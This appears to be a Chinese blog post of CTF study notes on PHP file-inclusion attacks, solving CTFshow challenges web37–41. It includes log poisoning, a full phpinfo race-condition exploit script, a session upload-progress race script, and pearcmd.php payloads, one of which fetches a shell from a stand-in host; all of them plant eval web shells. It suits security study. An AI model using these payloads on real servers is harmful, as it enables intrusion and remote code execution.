您现在的位置是:首页 > 技术教程 正文

【心得】PHP文件包含高级利用攻击面个人笔记

admin 阅读: 2024-03-17
后台-插件-广告管理-内容页头部广告(手机)

目录

一、nginx日志文件包含

二、临时文件包含

三、php的session文件包含

四、pear文件包含

五 、远程文件包含


 

文件包含 

include "/var/www/html/flag.php";

一 文件名可控

$file=$_GET['file'];

include $file.".php";  //用php伪协议 ,可以使用data协议


二 文件后缀可控

$file=$_GET['file'];

include "/var/www/html/".$file;  //不能使用伪协议了

/var/www/html/../../../../../flag


高级文件包含

一、nginx日志文件包含

nginx  可以认为它是http的一个服务器软件,提供了http服务 ,默认监听80端口

http://localhost/123.php?a=b

123.php 后缀是否是.php .就进行一次转发,转发到本地的127.0.0.1的9000端口

9000端口,是被另一个服务端软件监听,它提供解析php文件的服务,我们把这个软件,叫做php-fpm

专门解析php后缀的文件,执行里面代码,将执行结果交给nginx,再由nginx返回给http的客户端,这个客户端就是浏览器

http://localhost/123.jpg

123.jpg 非php后缀,那么由自己处理,nginx会找到web目录,读取123.jpg的内容,并返回给浏览器,同时告诉浏览器,我返回的
文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来


日志包含的前提条件

1 有文件名可控的文件包含点
2 有可以访问到的日志路径   默认nginx的日志路径为 /var/log/nginx/access.log

(linux默认日志路径:var/log)

 

例题1:web37

44908538065b419b8d56ee6015e378bc.png

 UA头里的php代码必须要一次性写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)

payload:

?file=../../../../../../var/log/nginx/access.log

UA:<?php eval($_POST[1]);?>

post:1=system('tac /f*');

bb4a1a1ed79d4ac080540ae1f7ffd7c0.png

 

二、临时文件包含

/tmp/php??????

文件包含,能否包含一个 /???/????????[@-[]]

答案是:不行 文件包含,是不支持通配符

我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去

默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除

突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称

php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
4096个字符

假设我们能够访问phpinfo的结果  FILES 就会存在tmp_name临时文件名字,读取后可以成功包含

强制文件上传,在上传期间,临时文件是存在的,包含临时文件,执行了其中的php代码,达成了RCE效果,最终删除临时文件
最终原理就是增大phpinfo页面回显的字节数,让其不一次性执行完,拖慢执行速度,当读到临时文件时就可以进行包含

phpinfo_lfi

例题2 web38

fbaacc86801042cd80dd1bf91c50f5f6.png

贴出攻击脚本,要在python2.7的环境下运行

  1. #!/usr/bin/python
  2. import sys
  3. import threading
  4. import socket
  5. def setup(host, port):
  6. TAG="Security Test"
  7. PAYLOAD="""%s\r
  8. <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
  9. REQ1_DATA="""-----------------------------7dbff1ded0714\r
  10. Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
  11. Content-Type: text/plain\r
  12. \r
  13. %s
  14. -----------------------------7dbff1ded0714--\r""" % PAYLOAD
  15. padding="A" * 5000
  16. REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
  17. Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
  18. HTTP_ACCEPT: """ + padding + """\r
  19. HTTP_USER_AGENT: """+padding+"""\r
  20. HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
  21. HTTP_PRAGMA: """+padding+"""\r
  22. Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
  23. Content-Length: %s\r
  24. Host: %s\r
  25. \r
  26. %s""" %(len(REQ1_DATA),host,REQ1_DATA)
  27. #modify this to suit the LFI script
  28. LFIREQ="""GET /?file=%s HTTP/1.1\r
  29. User-Agent: Mozilla/4.0\r
  30. Proxy-Connection: Keep-Alive\r
  31. Host: %s\r
  32. \r
  33. \r
  34. """
  35. return (REQ1, TAG, LFIREQ)
  36. def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
  37. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  38. s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  39. s.connect((host, port))
  40. s2.connect((host, port))
  41. s.send(phpinforeq)
  42. d = ""
  43. while len(d) < offset:
  44. d += s.recv(offset)
  45. try:
  46. i = d.index("[tmp_name] => ")
  47. fn = d[i+17:i+31]
  48. except ValueError:
  49. return None
  50. s2.send(lfireq % (fn, host))
  51. d = s2.recv(4096)
  52. s.close()
  53. s2.close()
  54. if d.find(tag) != -1:
  55. return fn
  56. counter=0
  57. class ThreadWorker(threading.Thread):
  58. def __init__(self, e, l, m, *args):
  59. threading.Thread.__init__(self)
  60. self.event = e
  61. self.lock = l
  62. self.maxattempts = m
  63. self.args = args
  64. def run(self):
  65. global counter
  66. while not self.event.is_set():
  67. with self.lock:
  68. if counter >= self.maxattempts:
  69. return
  70. counter+=1
  71. try:
  72. x = phpInfoLFI(*self.args)
  73. if self.event.is_set():
  74. break
  75. if x:
  76. print "\nGot it! Shell created in /tmp/g"
  77. self.event.set()
  78. except socket.error:
  79. return
  80. def getOffset(host, port, phpinforeq):
  81. """Gets offset of tmp_name in the php output"""
  82. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  83. s.connect((host,port))
  84. s.send(phpinforeq)
  85. d = ""
  86. while True:
  87. i = s.recv(4096)
  88. d+=i
  89. if i == "":
  90. break
  91. # detect the final chunk
  92. if i.endswith("0\r\n\r\n"):
  93. break
  94. s.close()
  95. i = d.find("[tmp_name] => ")
  96. if i == -1:
  97. raise ValueError("No php tmp_name in phpinfo output")
  98. print "found %s at %i" % (d[i:i+10],i)
  99. # padded up a bit
  100. return i+256
  101. def main():
  102. print "LFI With PHPInfo()"
  103. print "-=" * 30
  104. if len(sys.argv) < 2:
  105. print "Usage: %s host [port] [threads]" % sys.argv[0]
  106. sys.exit(1)
  107. try:
  108. host = socket.gethostbyname(sys.argv[1])
  109. except socket.error, e:
  110. print "Error with hostname %s: %s" % (sys.argv[1], e)
  111. sys.exit(1)
  112. port=80
  113. try:
  114. port = int(sys.argv[2])
  115. except IndexError:
  116. pass
  117. except ValueError, e:
  118. print "Error with port %d: %s" % (sys.argv[2], e)
  119. sys.exit(1)
  120. poolsz=10
  121. try:
  122. poolsz = int(sys.argv[3])
  123. except IndexError:
  124. pass
  125. except ValueError, e:
  126. print "Error with poolsz %d: %s" % (sys.argv[3], e)
  127. sys.exit(1)
  128. print "Getting initial offset...",
  129. reqphp, tag, reqlfi = setup(host, port)
  130. offset = getOffset(host, port, reqphp)
  131. sys.stdout.flush()
  132. maxattempts = 1000
  133. e = threading.Event()
  134. l = threading.Lock()
  135. print "Spawning worker pool (%d)..." % poolsz
  136. sys.stdout.flush()
  137. tp = []
  138. for i in range(0,poolsz):
  139. tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
  140. for t in tp:
  141. t.start()
  142. try:
  143. while not e.wait(1):
  144. if e.is_set():
  145. break
  146. with l:
  147. sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
  148. sys.stdout.flush()
  149. if counter >= maxattempts:
  150. break
  151. print
  152. if e.is_set():
  153. print "Woot! \m/"
  154. else:
  155. print ":("
  156. except KeyboardInterrupt:
  157. print "\nTelling threads to shutdown..."
  158. e.set()
  159. print "Shuttin' down..."
  160. for t in tp:
  161. t.join()
  162. if __name__=="__main__":
  163. main()

 9d71cbc187754afeafdcd38fa7e3dcff.png

 

三、php的session文件包含

php的session文件包含,upload_progress文件包含

需要配置文件如下设置

2a596c5712764686b6bef09b7147f317.png
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS ,可以往服务器的session文件内写入我们的指定内容

然后在脚本运行过程中包含后,可以执行里面的php代码

 

例题3 web39

6d349e01a6a44095bef5b91293b91276.png

 贴出脚本

  1. import requests
  2. import threading
  3. session = requests.session()
  4. sess="ctfshow"
  5. file_name="/var/www/html/1.php"
  6. file_content='<?php eval($_POST[1]);?>'
  7. url = "http://f7a14db4-e464-4679-a278-1bff18bb4794.challenges.ctfer.com:8080/"
  8. data = {
  9. "PHP_SESSION_UPLOAD_PROGRESS":f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
  10. }
  11. file= {
  12. 'file':'ctfshow'
  13. }
  14. cookies={
  15. 'PHPSESSID':sess
  16. }
  17. def write():
  18. while True:
  19. r = session.post(url=url,data=data,files=file,cookies=cookies)
  20. def read():
  21. while True:
  22. r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")
  23. if "success" in r.text:
  24. print("shell 地址为:"+url+"/1.php")
  25. exit()
  26. threads = [threading.Thread(target=write),threading.Thread(target=read)]
  27. for t in threads:
  28. t.start()

 跑出结果6143e8dba33141afb2000ea56ead2c2d.png

访问,RCE即可

30b3ad3ca5c34e72bfc94db0c2bc8406.png

 

四、pear文件包含

条件:

1 有文件包含点
2 开启了pear扩展
3 配置文件中register_argc_argv 设置为On,而默认为Off

PEAR扩展

PHP Extension and Application Repository

默认安装位置是  /usr/local/lib/php/  


利用Pear扩展进行文件包含

方法一  远程文件下载

?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php

方法二  生成配置文件,配置项传入我们恶意的php代码的形式

a=b

username=root
man_dir=<?php eval($_POST[1]);?>

ctfshow.php


GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+


方法三  写配置文件方式

GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php

 

例题4 web40

bd021ffbe67543e7a3da8c6242828248.png

 用方法二:

818b2e4c435046388400c822e752e025.png

 3fa6f5298c8840b3b12d6e8a19a06246.png

 

用方法三:

d0c3d71471e9456d9025fae518d136aa.png

2292b43281fe4354bcf077f563d45400.png

 1287059a0b7340bfab5782df96bea4ed.png

 

五 、远程文件包含

通过域名转数字的形式,可以不用.来构造远程文件地址

数字转IP地址 IP地址转数字 域名转数字IP

?file=http://731540450/1

 

例题5 web41

b107f070f8c94889a214deb997272fb2.png

 

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索